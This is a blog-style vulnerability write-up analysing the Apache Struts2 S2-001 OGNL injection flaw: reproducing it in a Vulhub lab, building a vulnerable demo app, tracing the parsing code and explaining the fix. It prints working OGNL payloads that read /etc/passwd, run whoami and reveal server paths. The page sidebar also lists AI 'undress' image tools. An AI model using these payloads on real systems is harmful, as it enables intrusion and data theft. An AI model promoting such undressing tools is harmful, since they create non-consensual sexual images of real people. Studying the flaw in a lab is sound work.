目次
Vulhub 脆弱性シリーズ: struts2 脆弱性 S2-001
1. 脆弱性の説明:
2.vulhubの脆弱性悪用:
3.搭建环境
4.原理分析
5.漏洞修复
6.OGNL表达式
ホームページ 運用・保守 安全性 Struts2の脆弱性S2-001の分析例

Struts2の脆弱性S2-001の分析例

May 15, 2023 pm 03:58 PM
struts2

Vulhub 脆弱性シリーズ: struts2 脆弱性 S2-001

1. 脆弱性の説明:

struts2 脆弱性 S2-001 は、ユーザーがフォーム データを送信して検証が失敗した場合、サーバーは OGNL を使用します。式 ユーザーによって以前に送信されたパラメータ値 %{value} を解析し、対応するフォーム データを再入力します。たとえば、登録ページやログインページなどです。送信が失敗した場合、サーバーは通常、デフォルトで以前に送信されたデータを返します。サーバーは %{value} を使用して送信されたデータに対して OGNL 式解析を実行するため、サーバーはペイロードを直接送信してコマンドを実行できます。

2.vulhubの脆弱性悪用:

vulhubを利用して脆弱性を再現すると、環境構築の手間が省け大変便利です。

vulhub 公式 Web サイトのアドレス: https://vulhub.org

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

脆弱性環境を開始します。

docker-compsoe up -d
ログイン後にコピー

テスト ペイロードを入力してください

%{1+1}
ログイン後にコピー

struts2漏洞 S2-001实例分析加算式が正常に実行されたことがわかります。

struts2漏洞 S2-001实例分析

今回はコマンドの実行を試します。新しい java.lang.String[{"cat","/etc/passwd"} ここで変更してください。実行したい。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
ログイン後にコピー

struts2漏洞 S2-001实例分析passwd ファイルは正常に読み取られました。

struts2漏洞 S2-001实例分析

次の 3 つの使用法ステートメント:

# #Tomcat パスの取得##%{"tomcatBinDir{" @java.lang.System@getProperty("user.dir") "}"}
#Web パスの取得# %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println( #req .getRealPath('/'))、#response.flush()、#response.close()}
##コマンドの実行##%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{ "whoami"} )).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader( #c), #e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java .lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

3.搭建环境

平台:win10

工具:Apache Tomcat 9.0.7,IntelliJ IDEA

下载IntelliJ IDE之后我们选择免费试用一个月,接下来创建我们的项目。

struts2漏洞 S2-001实例分析这个是搭建完成后的效果,下边所有创建添加的jar包或者修改的文件都按照这个格式进行。

struts2漏洞 S2-001实例分析目录结构如下。

struts2漏洞 S2-001实例分析

需要如下几个包,下载地址:

http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

解压完之后,我们把lib目录下对应的jar包导入到我们在项目中创建的lib目录中。

struts2漏洞 S2-001实例分析

struts2漏洞 S2-001实例分析

接着发布我们导入的jar包,不然会报错。

struts2漏洞 S2-001实例分析

接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list>
</web-app>
ログイン後にコピー

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>S2-001</title>
</head>
<body>
<h3>S2-001 Demo</h3>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
</body>
</html>
ログイン後にコピー

welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
ログイン後にコピー

LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}
ログイン後にコピー

src目录下新建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package>
</struts>
ログイン後にコピー

4.原理分析

漏洞部分代码

xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
    Object result = expression;

    while(true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;

        while(start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == &#39;{&#39;) {
                ++count;
            } else if (c == &#39;}&#39;) {
                --count;
            }
        }

        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
        if (evaluator != null) {
            o = evaluator.evaluate(o);
        }

        String left = expression.substring(0, start);
        String right = expression.substring(end + 1);
        if (o != null) {
            if (TextUtils.stringSet(left)) {
                result = left + o;
            } else {
                result = o;
            }

            if (TextUtils.stringSet(right)) {
                result = result + right;
            }

            expression = left + o + right;
        } else {
            result = left + right;
            expression = left + right;
        }
    }
}
ログイン後にコピー

运行我们搭建好的环境,记得开启debug模式

struts2漏洞 S2-001实例分析password处输入我们的测试语句:%{333*666},正确结果是多少来着,待我找个计算机算一下先(手动笑哭表情)

struts2漏洞 S2-001实例分析

expression会获取不同的参数值,我们直到其获取到password开始分析漏洞原因。

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析然后这次的判断跳过了中间的return,为啥会跳过return呢?因为这里的password内容任然是一个ognl表达式所以会再次进入循环,接着这里取出%{password}中间的值password赋给var。struts2漏洞 S2-001实例分析在解析完%{password}表达式之后要获取其中的内容password进行展示,也就是我们这里的%{333*666}

struts2漏洞 S2-001实例分析然后这次的判断同样也会跳过中间的return,为啥会跳过return呢?因为这里的password内容依然是一个ognl表达式所以会再次进入循环,接着这里取出%{333*666}中间的值333*666赋给var。

struts2漏洞 S2-001实例分析

然后通过Object o = stack.findValue(var, asType)获得到password的值为333*666,然后重新赋值给expression,进行下一次循环。

在这一次循环的时候,就会解析333*666,并将赋值给了o,经过计算后expression的值就变成了221788。

struts2漏洞 S2-001实例分析不是OGNL表达式时就会进入

struts2漏洞 S2-001实例分析struts2漏洞 S2-001实例分析

5.漏洞修复

判断了循环的次数,从而在解析到%{333*666}的时候不会继续向下递归,相当于限制了解析ongl的次数。

struts2漏洞 S2-001实例分析

也就不会对用户提交的参数进行ongl解析

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}
ログイン後にコピー

6.OGNL表达式

这里搬运大佬总结好的东西。

OGNL は、Object-Graph Navigation Language の略称です。強力な式言語 (Expression Language、EL と呼ばれます) です。そのシンプルで一貫した式構文を通じて、オブジェクトの任意のプロパティにアクセスし、メソッドを呼び出すことができます。オブジェクトの構造図はオブジェクト全体の構造図を横断し、フィールド型変換などの機能を実装します。同じ式を使用してオブジェクトのプロパティにアクセスします。 OGNL の 3 つの要素: (以下の部分はインターネット上のどこかから抜粋しました。よく言われていると思います)

1. Expression

Expression は OGNL 全体の中核であり、 OGNL 操作は、式を解析した後に実行されます。式は、この OGNL 操作が何を行うかを指定します。上記のテストでは、名前、部門.名前などはすべて式であり、名前または部門内の名前の値が取得されることを示していることがわかります。 OGNL は多くの種類の式をサポートしています。詳細については後ほど説明します。

2. ルート オブジェクト

ルート オブジェクトは、OGNL の操作オブジェクトとして理解できます。式で「何をするか」を指定した後、それを「誰に」行うかを指定する必要もあります。上記のテスト コードでは、user がルート オブジェクトです。これは、ユーザー オブジェクトの name 属性の値を取得する (そしてユーザー オブジェクトの部門に name 属性値を設定する) 必要があることを意味します。

3. コンテキスト

式とルート オブジェクトを使用すると、実際に OGNL の基本機能を使用できます。たとえば、式に基づいてルート オブジェクトの値を取得または設定します。しかし実際には、OGNL 内ではすべての操作が特定の環境 (OGNL のコンテキスト) で実行されます。より明確に言うと、OGNL の操作を「どこで行うか」を指定するのはこのコンテキストです。
OGN L のコンテキストは、OgnlContext と呼ばれる Map 構造です。上で説明したルート オブジェクト (Root
Object) は実際にはコンテキスト環境に追加され、これは特別な変数として処理されます。特にルート オブジェクト (Root
Object) のアクセス操作式は必要ありません。 # 記号を追加することで区別できます。

# 式関数操作リスト:
1. アクセス基本オブジェクト ツリーへ
オブジェクト ツリーへのアクセスは、オブジェクト参照をドットで連結することによって実行されます。
例: xxxx、xxxx.xxxx、xxxx.xxxx。
例: #xxxx、#xxxx. xxxx、#xxxx.xxxxx. xxxx -、*、/、、--、==、!=、= などの演算子を使用することもできます。 mod、in、not in など。 4. コンテナ、配列、オブジェクト
OGNL は、配列や ArrayList などのコンテナへの順次アクセスをサポートします。例: group.users[0]
同時に、OGNL はマップのキー値検索をサポートします。例: # session['mySessionPropKey']
それだけでなく、OGNL はコンテナ構築のための式もサポートしています:
例: {"green", "red", "blue"} は List, #{ "key1": "value1", "key2" : "value2", "key3" : "value3"}マップの構築
任意のクラス オブジェクトのコンストラクターを使用して新しいオブジェクトを作成することもできます
例: new Java.net.URL ("xxxxxx/")5. 静的メソッドまたは変数へのアクセス
クラスの静的メソッドとフィールドを参照するには、それらの式は同じ @class@member または @class@method(args ): 6. メソッド 呼び出し
は、Java のようなメソッド呼び出しを通じて直接実行されます。パラメーターを渡すこともできます:
例: user.getName()、group.users.size()、group.containsUser (#requestUser) 7. 投影と選択
OGNL は、データベースと同様の投影と選択をサポートします。
射影とは、** の各要素の同じ属性を選択して新しい ** を形成することであり、リレーショナル データベースのフィールド操作に似ています。射影操作の構文は collection.{XXX} です。XXX は、この ** 内の各要素のパブリック属性です。
例: group.userList.{username} は、グループ内のすべてのユーザーの名前のリストを取得します。
選択とは、リレーショナルデータベースのレコード操作と同様に、選択条件を満たす**要素をフィルタリングすることです。選択操作の構文は次のとおりです: collection.{X YYY}。X は選択演算子で、その後に選択の論理式が続きます。 3 つの選択演算子があります:
? 条件を満たすすべての要素を選択します
^ 条件を満たす最初の要素を選択します
$ 条件を満たす最後の要素を選択します
例: group.userList .{ ? #txxx.xxx != null} は、特定のグループ内で名前が空ではないユーザーのリストを取得します。


以上がStruts2の脆弱性S2-001の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Struts2 の過去の脆弱性を保護の観点から見る方法 Struts2 の過去の脆弱性を保護の観点から見る方法 May 13, 2023 pm 05:49 PM

1. はじめに Struts2 の脆弱性は古典的な一連の脆弱性であり、根本的な原因は、Struts2 がフレームワークを柔軟かつ動的にするために OGNL 式を導入していることです。フレームワーク全体のパッチ適用が改善されたことにより、Struts2 の新たな脆弱性の発見は以前よりもはるかに困難になりましたが、実際の状況から判断すると、ほとんどのユーザーが過去の高リスク脆弱性を既に修復済みです。現在、侵入テストを行う場合、Struts2 の脆弱性は主に偶然に任せられるか、イントラネットに公開された後でパッチが適用されていないシステムを攻撃する方がより効果的です。オンライン分析記事では、主にこれらの Struts2 の脆弱性を攻撃と悪用の観点から分析しています。新しい H3C の攻守チームとして、ips 製品のルールベースを維持することも仕事の一部であり、今日はこのシステムをレビューします。

Struts2フレームワークの原理とは何ですか Struts2フレームワークの原理とは何ですか Jan 04, 2024 pm 01:55 PM

Struts2 フレームワークの原理: 1. インターセプターはリクエスト パスを解析します; 2. アクションの完全なクラス名を検索します; 3. Action オブジェクトを作成します; 4. Action メソッドを実行します; 5. 結果を返します; 6. ビュー解析中。その原理は、ビジネス ロジック コントローラーをサーブレット API から完全に分離するインターセプター メカニズムに基づいており、コードの再利用性と保守性が向上します。 Struts2 フレームワークは、リフレクション メカニズムを使用することで、リクエストと応答を処理するための Action オブジェクトを柔軟に作成および管理できます。

Struts2の脆弱性S2-001の分析例 Struts2の脆弱性S2-001の分析例 May 15, 2023 pm 03:58 PM

Vulhub 脆弱性シリーズ: struts2 脆弱性 S2-0011 脆弱性の説明: struts2 脆弱性 S2-001 は、ユーザーがフォーム データを送信して検証が失敗した場合、サーバーは OGNL 式を使用して、ユーザーによって以前に送信されたパラメーター値 %{value} を解析します。対応するフォームデータを補充します。たとえば、登録ページやログインページなどです。送信が失敗した場合、サーバーは通常、デフォルトで以前に送信されたデータを返します。サーバーは %{value} を使用して送信されたデータに対して OGNL 式解析を実行するため、サーバーはペイロードを直接送信してコマンドを実行できます。 2. Vulhubの脆弱性悪用:vulhubを利用して脆弱性を再現すると、環境構築の手間が省け大変便利です。ヴ

Struts2 S2-059 リモート コード実行の脆弱性はどのように再現しますか? Struts2 S2-059 リモート コード実行の脆弱性はどのように再現しますか? May 23, 2023 pm 10:37 PM

0x00 はじめに Struts2 は、Apache ソフトウェア組織によって開発された非常に強力な JavaWeb オープン ソース フレームワークであり、本質的にはサーブレットと同等です。 Struts2 は MVC アーキテクチャに基づいており、明確なフレームワーク構造を持っています。通常、モデルとビュー間のデータ対話を確立するコントローラーとして使用され、エンタープライズ レベルの Java Web アプリケーションを作成するために使用されます。JavaServletAPI を利用および拡張し、開発者に MVC アーキテクチャの採用を奨励します。 Struts2 は、WebWork の優れた設計アイデアをコアとして採用し、Struts フレームワークのいくつかの利点を吸収し、MVC 設計パターンで実装されたより整った Web アプリケーション フレームワークを提供します。 0x01 脆弱性

Struts2-057 2 つのバージョンの RCE 脆弱性分析例 Struts2-057 2 つのバージョンの RCE 脆弱性分析例 May 15, 2023 pm 06:46 PM

はじめに 2018 年 8 月 22 日に、Apache Struts2 には、高リスクのリモート コード実行の脆弱性 (S2-057/CVE-2018-11776) が存在し、最新のセキュリティ情報が公開されました。この脆弱性は、米国のセキュリティ研究者 ManYueMo によって発見されました。 SemmleSecurityResearchチーム。この脆弱性は、Struts2 開発フレームワークで名前空間関数を使用して XML 構成を定義するときに、名前空間の値が設定されておらず、上位層のアクション構成 (ActionConfiguration) にも設定されていないか、またはワイルドカード名前空間が使用されているという事実に起因します。これにより、リモートでコードが実行される可能性があります。同じように、あなたも

Apache Struts2--048 リモート コード実行の脆弱性を再現する方法 Apache Struts2--048 リモート コード実行の脆弱性を再現する方法 May 12, 2023 pm 07:43 PM

0x00 はじめに Struts2 フレームワークは、JavaEE Web アプリケーションを開発するためのオープンソース Web アプリケーション アーキテクチャです。 JavaServletAPI を利用および拡張し、開発者が MVC アーキテクチャを採用することを奨励します。 Struts2 は、WebWork の優れた設計アイデアをコアとして採用し、Struts フレームワークの利点の一部を吸収し、MVC 設計パターンで実装されたより整った Web アプリケーション フレームワークを提供します。 0x01 脆弱性の概要 ApacheStruts22.3.x シリーズでは struts2-struts1-plugin プラグインが有効になっており、struts2-showcase ディレクトリが存在する場合に脆弱性が発生します。

Struts2フレームワークサイトのリスク分析例 Struts2フレームワークサイトのリスク分析例 May 30, 2023 pm 12:32 PM

1. 概要 Struts は、Apache Software Foundation (ASF) がスポンサーとなっているオープンソース プロジェクトです。これはジャカルタ プロジェクト内のサブプロジェクトとして始まり、後に ASF のトップレベル プロジェクトになりました。 JavaServlet/JSP技術を利用し、JavaEE WebアプリケーションのModel-View-Controller[MVC]設計パターンに基づいたアプリケーションフレームワーク[WebFramework]を実装した、MVCクラシック設計パターンの代表的な製品です。 JavaEE Web アプリケーション開発の初期には、サーブレット テクノロジの使用に加えて、JavaServerPages (JSP) のソース コードで HTM が一般的に使用されていました。

Apache Struts2 S2-057 セキュリティ脆弱性に関する CNNVD レポートの分析例 Apache Struts2 S2-057 セキュリティ脆弱性に関する CNNVD レポートの分析例 May 11, 2023 pm 08:04 PM

現在、Apache はこの脆弱性を修正するバージョンアップデートを正式にリリースしています。 Apache Struts の製品バージョンを適時に確認し、影響を受ける場合は適時にパッチを適用することをお勧めします。 1. 脆弱性の紹介 ApacheStruts2 は、American Apache Software Foundation の Jakarta プロジェクトのサブプロジェクトであり、MVC 設計に基づいた Web アプリケーション フレームワークです。 2018 年 8 月 22 日、Apache は Apache Struts2S2-057 セキュリティ脆弱性 (CNNVD-201808-740、CVE-2018-11776) を正式にリリースしました。 struts2開発フレームワークでpan-namespace機能を有効にする場合

See all articles